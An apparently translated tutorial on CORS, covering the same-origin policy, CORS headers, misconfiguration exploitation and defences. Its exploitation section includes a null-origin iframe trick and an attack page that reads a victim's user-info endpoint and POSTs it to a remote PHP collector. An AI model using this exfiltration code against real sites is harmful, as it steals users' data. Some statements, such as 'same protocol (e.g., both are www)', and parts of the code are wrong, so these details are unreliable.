Cross-Origin Resource Sharing (CORS) can relax the same-origin policy of browsers, allowing communication between different websites and servers.
1. Same-Origin Policy#
The same-origin policy is a very important security policy that restricts how a document from one origin or its loaded scripts can interact with resources from another origin. In simple terms, the same-origin policy allows scripts running on a page, such as JavaScript, to access any methods and properties of other scripts within the same website (same origin) without restrictions. One point mentioned here is: same origin.
What is the same origin?
- Same protocol (e.g., both are www)
- Same domain (the domain and its subdomains are not the same origin)
- Same port (e.g., both are port 80)
That's a brief introduction to the same-origin policy. If you want to learn more details, you can click here.
2. What is CORS#
In this web 2.0 era, the restrictions of the same-origin policy are too many. Therefore, there is a technology that relaxes the restrictions of the same-origin policy, which is Cross-Origin Resource Sharing (CORS).
CORS is a mechanism that allows browsers to make XMLHttpRequest requests to cross-origin servers by adding headers to the HTTP request. This overcomes the limitation of AJAX being limited to same-origin usage only.
When CORS is used, the browser automatically adds the Origin field to the request header when sending a request. The server verifies whether the Origin field is allowed. If it is allowed, cross-origin access can be performed.
The standard definition of CORS is: allowing clients to access resources across origins by setting HTTP header fields.
CORS defines two types of cross-origin requests:
- Simple requests: Use the specified request method to request resources.
- Non-simple requests: Send an OPTIONS preflight request first to verify if the request origin is allowed by the server. After the preflight is successful, send the actual request to request the resources.
Main header fields:
-
Origin: Indicates the origin of the preflight request or actual request.
-
Access-Control-Request-Method: Used in preflight requests to inform the server of the HTTP method used in the actual request.
-
Access-Control-Request-Headers: Used in preflight requests to inform the server of the headers carried in the actual request.
-
Access-Control-Allow-Origin: The value of this field can be the value of the Origin field in the request, or it can be a wildcard (*) to indicate acceptance of any domain.
-
Access-Control-Allow-Credentials: This field is a boolean value. When it is true, it means that cookies can be included in the request and sent to the server.
3. CORS Attacks and Exploitation#
The ultimate goal of exploiting vulnerabilities is: the attacker can obtain sensitive information as long as the victim visits an attack page.
3.1 Exploitation with User Credentials#
| Access-Control-Allow-Origin Value | Access-Control-Allow-Credentials Value | Exploitable |
|---|---|---|
| https://attacker.com | true | Yes |
| null | true | Yes |
| * | true | No |
3.2 Exploitation without User Credentials#
In this case, there is no cookie transmission, so it is difficult for the attacker to obtain cookies.
| Access-Control-Allow-Origin Value | Exploitable |
|---|---|
| https://attacker.com | Yes |
| null | Yes |
| * | Yes |
The null origin in the above table is for webpage redirection or from local HTML files.
3.2.1 Exploitation with null Origin#
Use a sandboxed iframe to obtain the null origin.
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>**CORS request here**</script>’></iframe>
The above iframe generates a request similar to the following:
GET /handler
Host: target.local
Origin: null
When the server receives the null origin, it returns a response similar to the following:
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
3.3 Exploitation using XMLHttpRequest#
- Prepare a recording code on a remote server (used to obtain sensitive information)
<?php
$data = $_POST['hack'];
if($data){
$myfile = fopen("hacker.html","w");
fwrite($myfile,$data);
fclose($myfile);
}
- Build an attack page
</head>
<body>
<script>
function cors() {
var xhr = new XMLHttpRequest();
var xhr1 = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if(xhr.readyState == 4){
alert(xhr.responseText)
var data = xhr.responseText;
xhr1.open("POST","http://xxxxxx/hack.php",true);
xhr1.setRequestHeader("Content-type","application/x-www-form-urlencoded");
alert(data);
xhr1.send("hack123"+escape(data));
}
}
xhr.open("GET",'http://xxxx/userinfo.php');
xhr.send();
}
cors();
</script>
</body>
</html>
- When the victim visits the attack page, the sensitive information will be recorded on the server
4. Several Exploitation Tools#
- Brupsuite has built-in CORS detection, but it has a high false positive rate.
- X-ray detection
- CORScanner
5. Defense against CORS#
- Strictly verify the value of Origin from the request packet.
- Do not configure the value of Access-Control-Allow-Origin as *.
- Avoid using Access-Control-Allow-Credentials: true.
- Avoid using CORS.
- Define a whitelist.
- Use secure protocols.
- Limit caching time.
- Only configure the necessary headers.